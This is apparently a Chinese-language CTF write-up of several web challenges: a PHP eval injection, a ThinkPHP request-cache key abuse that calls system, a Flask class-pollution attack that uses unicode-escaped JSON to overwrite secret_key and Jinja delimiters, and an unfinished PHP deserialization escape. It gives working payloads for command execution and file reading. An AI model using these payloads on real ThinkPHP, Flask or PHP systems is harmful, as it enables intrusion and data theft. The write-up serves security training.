CodeInject 1 2 3 4 5 6 7 8 <?php error_reporting (0 );show_source (__FILE__ );eval ("var_dump((Object)$_POST [1]);" );
这里的话会将传入的内容转化成对象,这里的话尝试闭合就行
1 1=1);system("cat /000f1ag.txt");#
tpdoor 页面提示缓存被禁用
这图标是tp的,先审一下源码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 <?php namespace app \controller ;use app \BaseController ;use think \facade \Db ;class Index extends BaseController { protected $middleware = ['think\middleware\AllowCrossDomain' ,'think\middleware\CheckRequestCache' ,'think\middleware\LoadLangPack' ,'think\middleware\SessionInit' ]; public function index ($isCache = false , $cacheTime = 3600 ) { if ($isCache == true ){ $config = require __DIR__ .'/../../config/route.php' ; $config ['request_cache_key' ] = $isCache ; $config ['request_cache_expire' ] = intval ($cacheTime ); $config ['request_cache_except' ] = []; file_put_contents (__DIR__ .'/../../config/route.php' , '<?php return ' . var_export ($config , true ). ';' ); return 'cache is enabled' ; }else { return 'Welcome ,cache is disabled' ; } } }
说实话这个源码给的不全,得自己去翻官方手册了
CheckRequestCache是thinkphp框架中的一个中间件,负责处理请求缓存的,主要功能是在用户请求时检查是否有可用的缓存,如果缓存可用则直接返回缓存内容,从而避免重新处理请求,提升性能。
然后我们看下有请求缓存
可以看到在源码中我们的参数$isCache = false,也就是说此时是关闭请求缓存的
先报错看一下tp的版本
然后我们把源码下下来看下
然后我们发现
这里的话getRequestCache会返回request_cache_key,我们跟进一下这个方法的使用
这里可以看到,在将$cache
赋值后,key会传入parseCacheKey函数中刷新key
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 protected function parseCacheKey ($request , $key ) { if ($key instanceof Closure ) { $key = call_user_func ($key , $request ); } if (false === $key ) { return ; } if (true === $key ) { $key = '__URL__' ; } elseif (str_contains ($key , '|' )) { [$key , $fun ] = explode ('|' , $key ); } if (str_contains ($key , '__' )) { $key = str_replace (['__CONTROLLER__' , '__ACTION__' , '__URL__' ], [$request ->controller (), $request ->action (), md5 ($request ->url (true ))], $key ); } if (str_contains ($key , ':' )) { $param = $request ->param (); foreach ($param as $item => $val ) { if (is_string ($val ) && str_contains ($key , ':' . $item )) { $key = str_replace (':' . $item , (string ) $val , $key ); } } } elseif (str_contains ($key , ']' )) { if ('[' . $request ->ext () . ']' == $key ) { $key = md5 ($request ->url ()); } else { return ; } } if (isset ($fun )) { $key = $fun ($key ); } return $key ; } }
仔细看可以发现两个关键点
1 2 3 4 5 6 if (true === $key ) { $key = '__URL__' ; } elseif (str_contains ($key , '|' )) { [$key , $fun ] = explode ('|' , $key ); }
这里的话只要key中有管道符|
,那么就会以|
为分隔符将key分为key和fun两部分
1 2 3 if (isset ($fun )) { $key = $fun ($key ); }
然后这里的话会调用$fun($key)
函数,所以如果key可控,我们就可以实现任意代码执行
我们看看key是怎么来的
$key
是从$config['request_cache_key']
中获取的,我们返回来看题
1 2 3 4 5 6 7 if ($isCache == true ){ $config = require __DIR__ .'/../../config/route.php' ; $config ['request_cache_key' ] = $isCache ; $config ['request_cache_expire' ] = intval ($cacheTime ); $config ['request_cache_except' ] = []; file_put_contents (__DIR__ .'/../../config/route.php' , '<?php return ' . var_export ($config , true ). ';' ); return 'cache is enabled' ;
因为这里isCache是弱比较,所以我们可以传参isCache
给../../config/route.php写入$config['request_cache_key']
payload
然后访问根目录发现并没变化,想起index.php有个缓存时间,看到有师傅说将cacheTime设置为3
1 ?isCache=ls%20/|system&cacheTime=3
但是我设置之后并没成功,可能环境不一样吧,我只能重新开个靶场了
1 ?isCache=cat%20/000*|system
easy_polluted 先看看源码吧
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 from flask import Flask, session, redirect, url_for,request,render_templateimport osimport hashlibimport jsonimport redef generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def filter (user_input ): blacklisted_patterns = ['init' , 'global' , 'env' , 'app' , '_' , 'string' ] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil (): def __init__ (self ): pass @app.route('/' ,methods=['POST' ] ) def index (): username = request.form.get('username' ) password = request.form.get('password' ) session["username" ] = username session["password" ] = password Evil = evil() if request.data: if filter (str (request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else : merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html" ) @app.route('/admin' ,methods=['POST' , 'GET' ] ) def templates (): username = session.get("username" , None ) password = session.get("password" , None ) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html" , flag=open ("/flag" , "rt" ).read()) else : return "Unauthorized" else : return f'Hello, This is the POLLUTED page.' if __name__ == '__main__' : app.run(host='0.0.0.0' , port=5000 )
分成几部分去分析一下
1 2 3 4 5 def generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest()
生成一个16字节的随机字节串,并进行md5哈希计算,并将哈希值转化成16进制字符串后返回
1 2 3 4 5 6 def filter (user_input ): blacklisted_patterns = ['init' , 'global' , 'env' , 'app' , '_' , 'string' ] for pattern in blacklisted_patterns: if re.search(pattern, user_input, re.IGNORECASE): return True return False
一个过滤器,匹配黑名单的字符,匹配到则返回true,否则返回False
1 2 3 4 5 6 7 8 9 10 11 12 def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v)
就是merge函数,也是污染的关键点
1 2 app.secret_key = generate_random_md5()
1 2 3 class evil (): def __init__ (self ): pass
设置一个evil类和构造方法__init__
1 2 3 4 5 6 7 8 9 10 11 12 13 14 @app.route('/' ,methods=['POST' ] ) def index (): username = request.form.get('username' ) password = request.form.get('password' ) session["username" ] = username session["password" ] = password Evil = evil() if request.data: if filter (str (request.data)): return "NO POLLUTED!!!YOU NEED TO GO HOME TO SLEEP~" else : merge(json.loads(request.data), Evil) return "MYBE YOU SHOULD GO /ADMIN TO SEE WHAT HAPPENED" return render_template("index.html" )
post获取username和password两参数,并设为session,之后对传入的原始数据进行一个filter过滤,若返回true则返回过滤提示,否则进行渲染返回index.html
1 2 3 4 5 6 7 8 9 10 11 @app.route('/admin' ,methods=['POST' , 'GET' ] ) def templates (): username = session.get("username" , None ) password = session.get("password" , None ) if username and password: if username == "adminer" and password == app.secret_key: return render_template("flag.html" , flag=open ("/flag" , "rt" ).read()) else : return "Unauthorized" else : return f'Hello, This is the POLLUTED page.'
从session中获取username和password的值,若两者存在且username为adminer,password为key密钥,就返回flag.html渲染的页面并返回flag的内容
其实这里显而易见了,是需要污染key的值,然后我们就可以拿到密码去进行验证,从而拿到flag,看看merge函数的用法
所以我们的payload
1 {"__init__":{"__globals__":{"app":{"secret_key":"123"}}}}
本地测试一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 from flask import Flask, session, redirect, url_for,request,render_templateimport osimport hashlibimport redef generate_random_md5 (): random_string = os.urandom(16 ) md5_hash = hashlib.md5(random_string) return md5_hash.hexdigest() def merge (src, dst ): for k, v in src.items(): if hasattr (dst, '__getitem__' ): if dst.get(k) and type (v) == dict : merge(v, dst.get(k)) else : dst[k] = v elif hasattr (dst, k) and type (v) == dict : merge(v, getattr (dst, k)) else : setattr (dst, k, v) app = Flask(__name__) app.secret_key = generate_random_md5() class evil (): def __init__ (self ): pass payload = { "__init__" : { "__globals__" : { "app" : { "secret_key" : "123" } } } } Evil = evil() merge(payload, Evil) print (app.secret_key)
但是有黑名单过滤,因为这里有json.loads,我们用unicode编码去绕过
本地测试一下
1 2 3 4 5 import jsondata = '{"word":"hello \u0077\u006f\u0072\u006c\u0064"}' data_plus = json.loads(data) print (data_plus)
发现unicode编码在load之后也会进行解码
那我们正常打就行
payload
1 {"\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f":{"\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f":{"\u0061\u0070\u0070":{"\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"123456"}}}}
发包
然后我们post传入
1 username=adminer&password=123
之后返回session
1 session=eyJwYXNzd29yZCI6IjEyMyIsInVzZXJuYW1lIjoiYWRtaW5lciJ9.aCRlpw.2IVc7AGVg1ZBHbqs10Pqyks7MUs
访问/admin路由设置session
但是发现好像没有flag
这里的话是需要输出flag,但是[##]
不是常规语法标识符
但是我们这里的话是可以自定义标识符的
variable_start_string 和variable_end_string 表示变量的开始和结束标识符,例如{{`和`}}
,所以这里我们需要污染这个属性的值和key
payload
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 payload={ "__init__" :{ "__globals__" :{ "app" :{ "secret_key" :"12345" , "jinja_env" :{ "variable_start_string" :"[#" , "variable_end_string" :"#]" } } } } }
编码一下
1 2 3 4 5 6 7 8 9 10 11 12 13 payload={ "\u005F\u005F\u0069\u006E\u0069\u0074\u005F\u005F":{ "\u005F\u005F\u0067\u006C\u006F\u0062\u0061\u006C\u0073\u005F\u005F":{ "\u0061\u0070\u0070":{ "\u0073\u0065\u0063\u0072\u0065\u0074\u005f\u006b\u0065\u0079":"12345", "\u006a\u0069\u006e\u006a\u0061\u005f\u0065\u006e\u0076":{ "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0073\u0074\u0061\u0072\u0074\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"[#", "\u0076\u0061\u0072\u0069\u0061\u0062\u006c\u0065\u005f\u0065\u006e\u0064\u005f\u0073\u0074\u0072\u0069\u006e\u0067":"#]" } } } } }
污染后还是之前一样的
Ezzz_php 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 <?php highlight_file (__FILE__ );error_reporting (0 );function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); } class read_file { public $start ; public $filename ="/etc/passwd" ; public function __construct ($start ) { $this ->start=$start ; } public function __destruct ( ) { if ($this ->start == "gxngxngxn" ){ echo 'What you are reading is:' .file_get_contents ($this ->filename); } } } if (isset ($_GET ['start' ])){ $readfile = new read_file ($_GET ['start' ]); $read =isset ($_GET ['read' ])?$_GET ['read' ]:"I_want_to_Read_flag" ; if (preg_match ("/\[|\]/i" , $_GET ['read' ])){ die ("NONONO!!!" ); } $ctf = substrstr ($read ."[" .serialize ($readfile )."]" ); unserialize ($ctf ); }else { echo "Start_Funny_CTF!!!" ; } Start_Funny_CTF!!!
审代码
1 2 3 4 5 6 function substrstr ($data ) { $start = mb_strpos ($data , "[" ); $end = mb_strpos ($data , "]" ); return mb_substr ($data , $start + 1 , $end - 1 - $start ); }
从字符串 $data
中提取出位于 [
和 ]
之间的子字符串。
1 2 3 4 5 6 7 8 9 10 11 12 class read_file { public $start ; public $filename ="/etc/passwd" ; public function __construct ($start ) { $this ->start=$start ; } public function __destruct ( ) { if ($this ->start == "gxngxngxn" ){ echo 'What you are reading is:' .file_get_contents ($this ->filename); } } }
一个读文件的类
1 2 3 4 5 6 7 8 9 10 11 if (isset ($_GET ['start' ])){ $readfile = new read_file ($_GET ['start' ]); $read =isset ($_GET ['read' ])?$_GET ['read' ]:"I_want_to_Read_flag" ; if (preg_match ("/\[|\]/i" , $_GET ['read' ])){ die ("NONONO!!!" ); } $ctf = substrstr ($read ."[" .serialize ($readfile )."]" ); unserialize ($ctf ); }else { echo "Start_Funny_CTF!!!" ; }
外层需要传入一个start,我们传入?start=gxngxngxn
就可以拿到/etc/passwd
的信息
然后需要传入一个read,关键在于这个代码
1 $ctf = substrstr ($read ."[" .serialize ($readfile )."]" );
这里的话因为substrstr函数中只会返回[
和]
之间的字符,所以得想办法逃逸字符
如果说在read中构造[字符串]
然后再把后面的注释掉的话但是这里过滤了[
和]
两个字符
所以可以利用$start和$end参数的不同去构造字符串逃逸